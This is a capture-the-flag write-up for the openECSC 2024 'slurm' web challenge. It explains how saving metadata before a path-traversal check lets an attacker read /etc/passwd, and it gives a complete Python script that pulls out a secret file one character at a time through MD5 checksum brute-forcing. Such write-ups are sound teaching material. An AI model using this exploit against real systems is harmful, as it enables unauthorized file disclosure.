Welcome to slurm's official website, here you're going to learn a lot of new reasons to drink slurm. And please don't ask about our secret recipe... some secrets must remain secrets.
Site: http://slurm.challs.open.ecsc2024.it
This was an interesting challenge that could be solved just by looking carefully at the source code - no incredibile state-of-the-art exploits, CVEs or 0-days needed.
We can start by taking a look at the docker-compose.yml
file, which contains some information about the services that are in execution.
backend, mongodb, frontend, nginx
nginx
serves as a proxy (bridge) between the Internet and the containers frontend
(which provides a graphical interface) and backend
(which handles the logic) on port 80 (HTTP)
.
mongodb
is an internal database service that cannot be accessed from the outside.
We are pretty much interested in the backend
, because that's realistically where the flag is, but we should also look at the other services to better understand the global working of the website.
As we can read from nginx.conf
, traffic arriving to slurm.challs.open.ecsc2024.it
is being routed to the backend if the URL path starts with /api/v1/
, else it will be processed by the frontend.
[...] listen 80; [...] location /api/v1/ { add_header Access-Control-Allow-Origin *; proxy_set_header Host $host; proxy_pass http://backend:80/; } location / { add_header Access-Control-Allow-Origin *; proxy_pass http://frontend:3000/; } [...]
Let's take a look at the frontend service. It is powered by Svelte, a fast framework used in front-end interfaces.
The directory tree (frontend/
) might seem a little freightening at first, but everything we need is located in frontend/src/
, which has far less files.
Every URL path has a corresponding folder inside frontend/src/routes
. In this case there is only the 'index' page, found in frontend/src/routes/+page.svelte
.
There are a bunch of instructions written in TypeScript needed to render the page client-side when we visit http://slurm.challs.open.ecsc2024.it/. We can see that there are some calls being made to to backend in order to upload, retrive or get a checksum of a file.
There is nothing of interest here, we should analyse what those calls do inside the backend instead.
The backend is a Python Flask web server, the sources can be found in backend/app.py
, backend/marketing.py
and backend/models.py
.
Inside app.py
we find the startup procedure and the routes configured for the backend API. I believe it's important to understand what happens and in which order to be able to solve this challenge.
Highlights of Lines 1-65 (app.py)
- Flask web server gets initialized with a safe secret key (we won't be able to crack os.urandom(32), but still, forging a session cookie is useless in this case).
- A MongoDB client is declared and it gets populated with the default files metadata (declared in marketing.py).
- There is a cleanup routine which deletes users' files every couple of hours.
marketing.py
contains the default files information - the flag is located inside secretrecipe.txt
, which has id ea41c85c-3db0-4ded-aff1-a93994f64d81
models.py
contains some classes that are used to handle errors and process files, like FileMetadata
. We'll get to these later.
Let's return to app.py
and find the actual routes. There are two functions that can read files, and they look pretty similar
GET /files/<id> | GET /files/<id>/checksum |
|
|
Both functions block the ID we would like to access (ea41c85c-3db0-4ded-aff1-a93994f64d81
), perform a check to verify the existence of the ID and create a FileMetadata object, which we'll analyse later.
Then things start to get a little different.
Function /files/<id>
performs another check to ensure that the file we are about to open isn't just a sort of 'link' to secretrecipe.txt
and returns the plaintext.
Function /files/<id>/checksum
doesn't perform that check and instead returns the MD5 hash of the content. If we manage to create a 'link' file and crack that MD5 we might be able to get the flag.
Obviously, we can't bruteforce an MD5 hash of a long string. That would take way too much time and is not a valid solution.
There are about 100 printable characters in the ASCII alphabet, if the flag is 20 chars long (
openECSC{
prefix excluded), it would take us a maximum of 100**20 guesses. That's a number made up by 40 digits.
In an MD5 hash every character concurs to the creation of the whole hash, so we can't just guess the single characters, we have to guess the entire string...or do we?
Fortunately, there is still a thing we haven't considered: the offset
parameter. Let's try to use it:
$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/e7bfd133-9fe0-4b9b-94bc-2857f92bd13b The most addictive drink ever!
$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/e7bfd133-9fe0-4b9b-94bc-2857f92bd13b?offset=10 ddictive drink ever!
It returns the content starting from the index specified in the request. Cool!
Since we are working in Python and there are no checks performed, we can also retrieve the last n-characters using negative indexes.
$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/e7bfd133-9fe0-4b9b-94bc-2857f92bd13b?offset=-1 !
Well well well, the same thing works in the /files/<id>/checksum
path and we can easily bruteforce the MD5 of a single character, so if we manage to create a file that links to secretrecipe.txt
we could read the flag character by character, effectively circumventing the limitation imposed by the plaintext function!
Now let's take a look at the functions that allow us to upload new files. There are two that, again, look pretty similar.
POST /files | PUT /files/<id> |
|
|
Ok, so the only thing that differs is that by using the PUT
method we can choose the ID of the file we are uploading. Now let's take a look at the parse_file()
function, that gets called by both of them.
def parse_file(body, id=None): import re, string CONTENT_CHECK = re.compile(f"[^ {string.ascii_letters}]") if CONTENT_CHECK.search(body["content"]): raise ValueError() if len(body["content"]) > 200: raise ValueError() return { "metadata": FileMetadata( body["author"], body["filename"], body["description"], id, ), "content": body["content"] }
After ensuring that the body contains letters only and that its length is less or equal to 200 chars, the function returns a FileMetadata
object on which the other functions call a .write()
method. Let's see what it does.
Finally, let's take a look at the FileMetadata
class inside backend/models.py
.
class FileMetadata: [... Max length checks ...] self.author = author self.filename = filename self.init = id in forbidden_ids basedir = "/company" if self.init else "/tmp" self.path = f"{basedir}/{filename}" self.description = description self.id = str(UUID(id, version=4)) if id is not None else str(uuid4()) def write(self, collection, content): if self.id in forbidden_ids and not self.init: raise ValueError("Use of forbidden id") collection.insert_one(vars(self)) if "./" in self.path: raise PathTraversalAttemptDetectedException() if len(content) > 200: raise FileTooBigException() with open(self.path, "w") as f: f.write(content) def read(self, offset): with open(self.path) as f: f.seek(offset) return f.read()
Ok, everytime a FileMetadata object gets created this happens:
author
and description
fields, they are simply saved./company/{filename}
if the id is one of the default ones (marketing.py
), else it is in the /tmp/{filename}
format.
/company
, we probably won't be able to write inside that folder as we would be able to overwrite the flag...that is not intended to happen.id
is parsed by the UUID()
function, which formats a 16 byte hex string into a valid UUID4Then if .write()
method gets called:
../company/secretrecipe.txt
to trick the server into writing to /company
.parse_file()
already did that.The .read()
method simply reads the file from the given path and returns its content with the offset
we discussed before.
I purposefully used an ordered list to describe the FileMetadata
class.
You may have noticed that there is a little problem inside the .write()
method: the file metadata is written to MongoDB before the path traversal check is being made.
That check effectively stops us from writing a file to an arbitrary path on disk, but we can still create the metadata for it and read the contents they point to!
Let's try to read a file outside the scope of the challenge, like /etc/passwd
, that is always present.
In order to do so, we could upload a random textfile from the website and intercept (or repeat) the request using a proxy, like Burp Suite or ZAP.
Request | Response |
---|---|
|
|
Example request to upload a legit file |
If we use the ./
char inside the filename
field the server will return a 500 Internal Server Error
response with no body, so we won't be able to see the UUID that gets assigend to out file.
Let's use the other route to upload files (PUT /api/v1/files/<id>
) by manually editing the request so that we can directly specify an UUID. We can choose a random one, like b611c4f8-9978-45f7-9edd-c076cd4b33dd
. Replace filename
value with ../etc/passwd
, that is the relative path to /etc/passwd
starting from /tmp
(../
is used do go back one directory)
Request | Response |
---|---|
|
|
Submitting malicious metadata |
As expected, the server is not very happy about our request and returns a 500
error, so our content won't get written to disk.
Nevertheless, now ID b611c4f8-9978-45f7-9edd-c076cd4b33dd
has filename=../etc/passwd
inside MongoDB, so we can access it!
$ curl http://slurm.challs.open.ecsc2024.it/api/v1/files/b611c4f8-9978-45f7-9edd-c076cd4b33dd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync web:x:1000:1000::/home/web:/bin/sh [...]
If we directly tried to access ../company/secretrecipe.txt
from /files/<id>
, we would be blocked by the filename
check.
We know we can bypass that using the checksum function, but it requires a request for every character of the flag. We can automate this by writing a simple python script.
import requests import string import hashlib import uuid URL_BASE = "http://slurm.challs.open.ecsc2024.it/api/v1/files/" # 1. Upload a file that will be used as a 'link' body = { "filename":"../company/secretrecipe.txt", "description":"1726926273220 | 10", "author":"challenger", "content":"testcont" } # Generate uuid4 and prepare URL random_uuid = uuid.uuid4() url = URL_BASE + str(random_uuid) # Make the request and submit body as JSON requests.put(url, json=body) # 2. Read secretrecipe.txt body character by character # and guess the MD5 hash # We start by getting the last single char offset = -1 # Flag is initally empty flag = "" # Update URL url = URL_BASE + str(random_uuid) + "/checksum?offset=" flag_found = False while not flag_found: # Make the request and read the MD5 checksum resp = requests.get(url + str(offset)) hash1 = resp.json()['checksum'] # Try to find a match with every printable ASCII char for char in string.printable: # We have to append the known part of the flag to # every char to generate new candidates candidate = char+flag # Generate MD5 hash and check for a match hash2 = hashlib.md5((candidate).encode('ascii')) if hash1 == hash2.hexdigest(): # Update old flag with the new character flag = candidate # We decrease the offset by one to proceed offset = offset - 1 # Print the flag every time - it's satisfactory # seeing it being built step by step! print(flag) # If the flag is complete, stop. if len(flag) >= 9 and flag[0:9] == "openECSC{": flag_found = True
And that's it, we have the flag!
This was a fun challenge that teaches us to read what we are provided with carefully, without falling in rabbit holes and jumping to wrong conclusions like "Oh yes, NoSQL injection on line 78!" (there is nothing here...it's safe).
Thank you for taking the time to read this writeup!